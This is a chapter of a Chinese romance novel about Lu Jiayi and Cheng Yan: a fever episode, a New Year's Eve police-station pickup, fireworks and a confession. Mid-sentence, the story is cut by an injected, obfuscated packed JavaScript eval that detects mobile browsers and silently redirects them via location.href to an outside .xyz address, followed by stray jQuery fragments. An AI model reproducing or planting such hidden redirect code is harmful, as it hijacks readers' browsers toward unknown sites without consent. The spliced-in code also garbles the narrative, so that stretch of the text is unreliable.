视频结束后，路嘉一待了很久才回卧室。
她睡得很不安稳，迷迷糊糊间，她做了个很长的梦。
大一下学期结束前，余嫚搬完校区后问她要不要回去，路嘉一摇头。学校鼓励学生创业，还有一定创业补助，所以有直系学姐拉着外国语学院的其他几个学姐学长自己组建了个工作室，主要来做网站视频翻译。
路嘉一被班长李佳静推荐参与，所以大一暑假她几乎都会和创业组的学姐待在学校。
余嫚和其他陆陆续续地相继离校，留校的学生报备后会统一搬到临时分配的宿舍方便安全和安排管理。
搬到临时宿舍前，路嘉一和宿舍其他几个人吃了顿饭，还喝了一点果啤。回去后一个人待在宿舍里，脑袋昏昏沉沉的。察觉到身上开始有风团出现时，她才发觉自己发烧了。
她吃了两粒布洛芬后，躺在床上只想睡觉，莫名其妙地想到自己小时候每次发烧起荨麻疹，外公和外婆都要带她去医院进行过敏源筛查，但除了蟑螂和尘螨过敏外，并没有其他过敏源，医生只能开一些涂抹的药物。好在每次只要退完烧就好，所以外公一般都会格外小心不让她受冷受热，外婆小心帮她涂药。
她犯着困，手机忽然开始震动。
路嘉一把头蒙在被子里，意识不清晰地嘟囔：“外公，我吃过药了，想睡觉。”
那端沉默几秒，语调陌生又熟悉：“生病了？”
路嘉一难受，想到外公莫名更加难受了，轻嗯声，难得地带着哭腔：“脑袋疼，身上好痒，外公，我好难受，你能不能把我接回家啊，不想待学校。”
她像是回到了小学发烧学校电话厅里跟外公打电话的时候。许久没听到回应，她很轻地抽泣一声：“不行就算了，我刚刚有吃药，但是没有带涂的，你帮我送过来吧。”
那边还是没说话，路嘉一有些不满，又嘟囔着要说话，那端突然出声：“路小七？”
她嗯了声：“怎么了，外公？”
那端似乎很轻地嗤笑一声，然后叹口气：“那你别乱动，先睡会儿。”
路嘉一满足点点头：“那你快点。”
后来的事情路嘉一真的记不清了。
再次醒来时，她还是在自己宿舍里，手里还握着手机。脑袋还昏昏沉沉的，却明显感到不是发烧的昏沉，因为思维是清晰的。
她缓了缓，慢悠悠坐起时，察觉到下面书桌上有微弱的光亮。一瞬间，路嘉一背脊发凉，下意识往下看。下一秒，整个人彻底顿住——
黑T黑裤的人靠在木椅靠背上，吊着二郎腿，低眸看着她的专业书。
黑色碎发的阴影遮住眉眼，露出挺直的鼻骨，冷冽又随意。
程衍？
她瞬间僵住不敢动，电光火石般的脑中闪过一丝头绪，她忙拿起手机看了眼最近的通话记录。
三十六分钟，来电程衍。
她错愕两秒，猛然坐起，脑中还震荡似的疼了一下。
记忆逐渐回溯，路嘉一又往下看了看，羞耻感后知后觉地涌出。同时，床下的人听见动静，长腿稍稍用力，木椅后移，坐在木椅上看书的人抬头，缓慢地挑了下眉：“孙女？”
“......”
路嘉一...路嘉一抓住空调被蒙脸。
下面的人懒洋洋地嗤笑一声，双手叠在脑后，思索两秒：“先下来吃点东西。”
说着，路嘉一点点头，动作僵硬地下去，转头问：“你就......直接进来了？”
闻言，程衍头都没抬，打开桌上的保温桶和餐具，语调松松散散：“身份证、手机、银行卡、社保卡、驾驶证、还有中大的校园卡。”
“什么？”
路嘉一没反应过来，程衍缓慢补充：“全部身家，都压在了你们宿舍阿姨那里。附带赠送阿姨每隔一个小时过来检查。”
话音刚落，宿舍门就被推开，阿姨的脑袋熟练地进来：“醒了——啊，醒了啊，醒了好。”
“阿姨好。”路嘉一下意识出声，阿姨乐：“行了，醒了就好，折腾这一大圈的。”
路嘉一一时不知道说什么，程衍抬手轻拍她脑袋：“先吃。”
说着，他转头跟阿姨道了声谢，说自己等会儿就走。
阿姨点了点头，将宿舍门再次关上。
路嘉一被按在木椅上，接过程衍递来的餐具和粥，慢了半拍道：“你怎么来的。”
“给程小三搬校区，顺便想请某个参加完语言竞赛的小老板吃饭，结果呢，给人当了回外公。”程衍靠在旁边的阶梯上，路嘉一闷头理亏道：“谢谢。”
他没接这话，反而慢悠悠道：“校医来看过一回，发烧、荨麻疹、醉酒。路小七同学，真厉害啊。”
路嘉一思索两秒，总算找出了不对劲。
半晌，憋出一句：“我不知道，就喝了一杯果啤。”
程衍看她一眼，匆匆略过她的手臂和脖颈，确定急性荨麻疹褪下后收回目光，冷呵一声：“小孩子不要喝酒。”
“哦。”路嘉一应了声，转头瞥见自己书桌上多的药和零食，抿了下唇角。
吃完，她下意识就要拿起到一边清洗，程衍抬手接了过去：“不用你。”
“你吃过退烧药了，校医就没开别的，只开了点涂抹的药。但你这荨麻疹是发烧免疫功能紊乱引起的，退完烧就没了，所以自己先收着。”
路嘉一点点头：“多少钱啊，我转你。”
程衍拿起桌上的运动挎包随意搭在肩上，又反手戴上帽子。闻言，气笑了，吊儿郎当地晃了晃手里的保温桶：“路小七同学，交过朋友吗？”
闻言，路嘉一低声嘟囔：“谁要跟你交朋友？”
“骂我呢？”程衍好笑出声，路嘉一摇摇头：“没有。”
程衍似乎还有事，没多说：“下次请我吃饭吧。”
路嘉一哦了声，跟在他身后往外走。
两人很快到宿舍大厅前，外面天色很黑，结课后除了留校的几乎没别的人，阿姨坐在前台后看着视频。
见到程衍，指了指旁边。
手机、身份证、银行卡、社保卡、驾驶证、中大的校园卡排列格外整齐地在上面。
路嘉一微哽，程衍一一拿走在一旁签字后往外走，转眼间路嘉一还要跟着，抬手把帽子扣在她脑袋上，推着她肩膀转身，稍稍用力：“回去睡觉。”
说完，整个人走出宿舍大厅，深夜校园灯光里，欣长的身影格外显眼，又很快彻底消息。
路嘉一在原地站了会儿，阿姨乐呵呵道：“回去吧，男朋友跑不了的。”
闻言，路嘉一稍怔，下意识道：“不是。”
她顿了下，重复道：“还不是。”
阿姨一脸姨母笑地点头：“啊对对对。”
路嘉一：“......”
意料之外的发烧，仿佛无形缓解了因为没有交集而逐渐断开的联系。
路嘉一回到宿舍时，伸手取下脑袋上的帽子，挂在一旁时瞥见旁边一模一样的帽子，缄默几秒，须臾，莫名其妙地抿起唇角笑了下。
想分享，可又想私藏。
最后，点进朋友圈，翻了翻，上一次还是发语言竞赛一等奖的图片，仅自己可见。须臾，她再次认真编辑，仅自己可见。
路嘉一：【开心。】
-
大概是梦中情绪反复，路嘉一凌晨醒了一次。
翻来覆去睡不着时，她起身到书房里打开翻译的稿件，可翻看几分钟后，选择放弃。
外婆的话，还有梦中堆积的情绪使然，鬼使神差的，路嘉一角落里最底层的新闻记录本，翻开。夹在扉页里的，是一张陈旧的照片。
照片里是高瘦俊朗的背影，身后是夜空和绚烂的烟花。
路嘉一拍的，在大二的除夕那天。
进入大二后，所有的节奏似乎都开始加快。工作室的学姐学姐也纷纷开始准备考研和出国留学的事情，路嘉一反而成了苦力之一。大二寒假前，余女士来到江北想要接余嫚和路嘉一一起去新年旅行，路嘉一拒绝了。
因为不想外婆一个人。
余女士没勉强，余嫚抱抱她笑着说：“那等我回来给你带礼物。”
路嘉一笑着说好。
结果路嘉一在放票那天没抢到年前回去的票，刚好赶上工作室接了个新的短片翻译，路嘉一索性留下加了几天班，学姐订了除夕当天的包厢，又给留校的工作室同学统一买了大年初一的机票。
这是路嘉一第一个没陪外婆的除夕，吃完饭后，她拿着手机在阳台陪外婆聊天，给外婆看包厢里的学姐学长。几个人纷纷打完招呼后，也各自发着新年祝福短信。
路嘉一给余女士和余嫚发完后，想了想，点进程衍的聊天框，一字一顿地发送。
路嘉一：【春节快乐。】
那端没有回复。
也是，除夕夜多是亲人聚餐守夜，路嘉一没多想。
她转头问学姐什么时候回去后，学姐说等会儿去酒吧。路嘉一轻啊声，学姐笑：“清吧，放心，不带坏你。”
“......”
她不是这个意思。路嘉一没再多说，继续拍着窗外的电子烟花给外婆看，手机震动声传来时，她看了眼是陌生号码，就没接。结果对方一连打了几个，路嘉一疑惑，在对方再次打来时，她才接听。
那端是陌生的女声：“你好，你是程衍的朋友吗？”
听到程衍的名字，路嘉一下意识应了声。
对方很快笑着说别怕，说是南岸路派出所，让她有时间的话拿着个人身份证去接人。
接人？程衍？
一瞬间，路嘉一站起来，再问对方却没再多说了。
她忙起身，拿起一旁的背包往外走，学姐看到伸手拦住她：“嘉一？”
“学姐，我朋友在派出所，我得去一趟。”
路嘉一低声，学姐诧异看她眼，没多说，起身拿起包跟她一起出门：“我送你过去。”
路嘉一启了启唇，没拒绝。
只是出于隐私，她只让学姐送她到门口就回去了。路嘉一拿着背包往派出所进时，刚好看到程衍双手插在长款羽绒服口袋里站在年轻警察面前，年轻警察在朝他说着什么，程衍颔首。最后，年轻警察拍了拍他的肩，似乎还想说什么，转头看向站在派出所大厅门口的小姑娘，下意识放轻声音：“你好，有什么需要——”
“程衍，我来接程衍的。”
话音刚落，低眸摸出打火机把玩的程衍稍顿，掀眸看过去。
下一瞬，他眸底闪过一丝错愕。须臾，轻笑出声：“路小七啊，辛苦你了。”
见他神情泰然，路嘉一松口气。
年轻警察却不可思议地看了看路嘉一，转头又看向程衍，继而又看向路嘉一：“年纪这么小的，小姑娘，你得——”
“我成年了。”路嘉一忙不迭小跑过去，挡在程衍身前，掏出身份证递给年轻警察，低声重复：“成年了的，电话里我问了，带身份证就可以。”
年轻警察哽住，看着小姑娘护在程衍面前的模样，沉默两秒：“过来签字。”
说着，看向程衍：“你也来签。”
程衍目光落在怀里还抱着双肩包的路嘉一身上，须臾，挪开视线，亦步亦趋地跟在她身后，签名。刚签完，他正要起身，察觉路嘉一站在他面前，拉住他的袖口，转头问：“我能领他走了吗？”
年轻警察失笑：“可以。”
程衍低眸看她，没动。路嘉一揪了揪他的袖口，直到出了派出所大门，指间的袖口被抽出，路嘉一抬眸，身后的人长腿一抬先她下了一个台阶后，站定，薄薄的眼皮低垂，桃花眼弧度很浅，带着碎发和睫毛勾勒出的阴影，落在挺直的鼻骨上。
莫名地，路嘉一觉得像极了逐帧分析的艺术影片特写。她不明所以地抬眸，程衍调整了下站姿，稍稍弯腰，盯着她的目光：“路小七。”
路嘉一应了声。
程衍缄默会儿，扯了扯唇角：“让你来，你就敢来？”
“打电话的人报了派出所和警号。”路嘉一认真出声，神情莫名紧绷：“而且——”
程衍没动，她眉眼舒展，继续：“你不是坏人。”
“......”程衍对上盯着她的眉眼，忽地，挪开视线，语调懒散：“说不定呢。”
“你不是。”
路嘉一回复他。
程衍再次看她，没说话了，须臾，很轻地叹口气：“要去哪？”
这个问题问住了路嘉一，她其实对学姐的清吧不感兴趣，正想说话，夜色里遥遥传来砰的一声，有烟花的光亮传出。
路嘉一下意识顺着声音看过去，没看到烟花，只看到闪烁的光。她收回目光，转头要说回学校，耳边忽地传来一声又低又沉的嗓音，带着微哑：“想放烟花吗？”
“这里禁放吧。”
路嘉一记得这个区域是禁放烟花的，刚才的声音也离这里很远。程衍没应声，接过她的背包随意搭在自己肩上，头也没回：“走吧。”
“去哪？”
路嘉一跟上去问。
程衍没回答，在公交站牌前站定，有53路公交车停下时，路嘉一只觉得自己手腕被人拉住。
硬币落下的声音响起时，程衍付了两人的公交车费，弯腰坐在车窗前。手腕的力道很快松开，路嘉一有些松怔，盯着手腕看了两秒。
“路小七，别怕，没干坏事。”
他突然出声，“我以为来的会是陆成远。”
路嘉一后知后觉这是在解释刚才派出所的事情，她侧目，一时不知道该说什么，问道很淡的酒味时蹙眉：“你喝酒了吗？”
“没有，衣服沾了点。”
程衍抬起手臂闻了闻，扯了下唇角，低眸摸出手机快速划过一连串的未读提示，点进其中一个打了几个字后熄灭屏幕：“今天参加了个饭局，算是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15360348|165396||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
面试。有人仗着身份对一年轻女孩动手动脚，没看过去，所以出了点事。”
他说得言简意赅，路嘉一理出大概：“那面试......”
“嗯，不成了。”程衍没在意，路嘉一不解：“为什么，这不是见义勇为吗？”
“因为他是资方。”
隔了几秒，程衍很低地嗤笑声，路嘉一睫毛轻颤：“那那个女孩没事吧，她没到警察局作证吗？”
程衍没回答，许久，路嘉一听到他的声音：“也不是她的问题。”
他稍顿，同路嘉一道：“人只有有了话语权，才会有说话的机会和底气。”
路嘉一抿了下唇角。
她遇到的人里，余阿姨也好，沈阿姨也好，哪怕是余嫚、学姐，都是在说话的人。想了想，她绷着表情，认真道：“今天学姐们在讨论以后的规划，我本来不太清楚，但现在好像有点头绪了。”
闻言，程衍挑眉看她，路嘉一敛神，低声道：“想成为能说话，也能让别人听到我说话的人。”
说完，她有些羞耻，面无表情地转头看向另一边。
除夕深夜的公交车上只有司机和他们两个，中途没经停。
路嘉一目光落在外面的街景上，须臾，耳边传来一声低笑，程衍嗓音压低，语调松松散散的，像是在磨人。
“我听到了。”
他说。
一瞬间，路嘉一觉得耳蜗发烫，心脏也在发烫。
直到公交车停在终点站，程衍出声：“转头。”
路嘉一下意识循声往他那边看，转眸的瞬间，车窗外烟花绚烂。
漂亮到灼人。
她面露惊讶，程衍单手拎着她的背包下车。路嘉一起身跟过去，发觉不远处河边围了一片燃放区，不少私家车停在那里。旁边支起了小摊，摆放着大大小小的眼花。程衍找了个人少的位置，将她羽绒服的帽子拉起戴好后，转身朝旁边的摊位走过去。摸出手机付款后，很快搬回来几个烟火放在路嘉一脚边：“想不想试试？”
程衍将两人面前的烟花扫视一圈，抽出一支手持烟花递给她。
只玩过仙女棒的路嘉一：“啊？”
但又紧张又兴奋，伸手握住烟花最下端，转身眼神发亮地看着程衍。
程衍双手插兜，沉默几秒，好笑道：“对着我放？”
路嘉一缓慢地眨了下眼，转身忙将上端对着天空。她有点紧张，小声道：“但我不——”
“敢点”还没说出来，偏低的嗓音从头顶传来：“别动。”
啪嗒一声，打火机的响动传来。
与此同时，极快地一声响动传来，烟花冲破长长的纸筒，直直朝着半空升腾。独属于烟火味道里，薄荷茶香的洗衣液味道丝丝缕缕地萦绕在鼻翼。路嘉一晃了下神，砰地一声，烟花在半空中炸开，一瞬间，与脑袋里和心脏里隐晦的欣喜重叠。
在程衍出声时，她霎时回神，莫名地心虚和慌乱，没忍住后挪半步，强迫自己转移话题和思绪，她回过身脱口而出：“程衍，你看——”
话没说完，撞上程衍防止她吓到没站稳而虚虚拦在她后肩的手臂上。整个人像是像是埋进了带着薄荷茶香的温暖怀抱里，险些踩空。
恍惚间，烟花晦朔的盛大背景里，心跳声和呼吸声交杂着。
路嘉一下意识想说自己不是故意的，脑袋被很轻地拍了下。
“嗯，很厉害。”
极轻的力道，极快的收手，极低的嗓音。
可偏偏，让人难以忽略。
她仓惶站好，程衍单手虚扶了下她肩膀，神情没变。
然后，抽出燃放完的烟筒搁在一旁，拿出箱子里的仙女棒和打火机递给她：“先玩。”
说完，转身朝着旁边摊位走去。
路嘉一站在原地没动，手里还握着仙女棒和打火机，转头瞥见旁边坐着的小姑娘捂着眼睛看过来，小声道：“羞羞。”
一瞬间，后置的感官和情绪顿时袭来，路嘉一觉得脸颊发烫。
倒是小姑娘的爸妈捂住她的嘴，朝路嘉一抱歉笑笑。
路嘉一...路嘉一转身...不太想面对。
她蹲下身抽出一根仙女棒点燃，心情莫名平和起来。面前阴影落下时，她仰起头，看着不知何时过来的程衍，程衍好笑出声：“怎么还自闭了？”
“......”路嘉一没吭声，程衍朝她身后稍抬下颚：“坐着玩。”
路嘉一错愕，转头瞥见身后打着冰霜的草面上多了一张铺得规整的绒毯。她轻眨眼，缓慢挪过去，坐在绒毯上。
程衍单膝蹲在一箱烟花前，啪嗒一声响动，后撤几步。
同时，烟花升空，陡然炸开。
穿着黑色长款羽绒服的人身高腿长，双手插进口袋里，抬眸看了眼。
身前是河面粼粼，烟花盛开。
莫名地，路嘉一摸出手机拍了张，很快地收起。
见程衍转身时，路嘉一刚想出声，看到站在烟花盛放中的人嗓音又低又沉：“陆小七，生日快乐。”
“然后，除夕快乐。”
莫名地，路嘉一觉得自己那时候听不到烟花绽放的声音了，也听不到周围的嘈杂。
心跳声快要抑制不住，呼吸也掉了半拍。
盛大的烟花里，除夕的河岸边，所有人的欢呼声里，只有程衍的声音。
见坐在绒毯上发愣，程衍也坐过去，好笑着侧目看她：“有生日愿望吗，叫一声程二哥，说不定能帮你实现。”
戏谑的话音落下，旁边小孩子尖叫欢呼时，盛大的烟花再次绽放，惹得另一边的小孩子也开始蹦跳着欢呼。
嘈杂的背景音里，路嘉一仰头看着烟花。
鬼使神差的，路嘉一眼睫轻颤，嗓音也有些发抖。
她看见烟花绽放下落时几乎要笼罩住两人，也听见自己艰难出声。
“你想......谈恋爱吗？”她稍顿，一字一顿，“程二哥。”
烟花声短暂停止时，小孩子的欢呼声降低，周遭短暂地安静了几秒。
这几秒里，程衍侧目看她，房车带来的阴影遮住他的眉眼，唯有轮廓清晰。
路嘉一没忍住右手掐住左手虎口，连呼吸都放慢了。
在路嘉一快要维持不住表情时，烟花声再次错落响起。她松口气，像是知道了答案，正要起身。
手腕忽然被拉住，程衍掀眸看她，情绪意味不明：“这是生日愿望？”
路嘉一嗓音发干：“你说叫你程二哥，你会帮我实现。”
闻言，程衍静静看着她，缄默几秒后，他松开路嘉一的手腕，打开打火机，再次关上。重复几次后，他低笑一声：“路小七，打个商量。”
路嘉一干巴巴道：“什么？”
“别这么便宜你程二哥。”他声音放慢，似乎字字斟酌，“你程二哥呢，没追女孩子的经验。”
他稍顿，“给个机会，行吗？”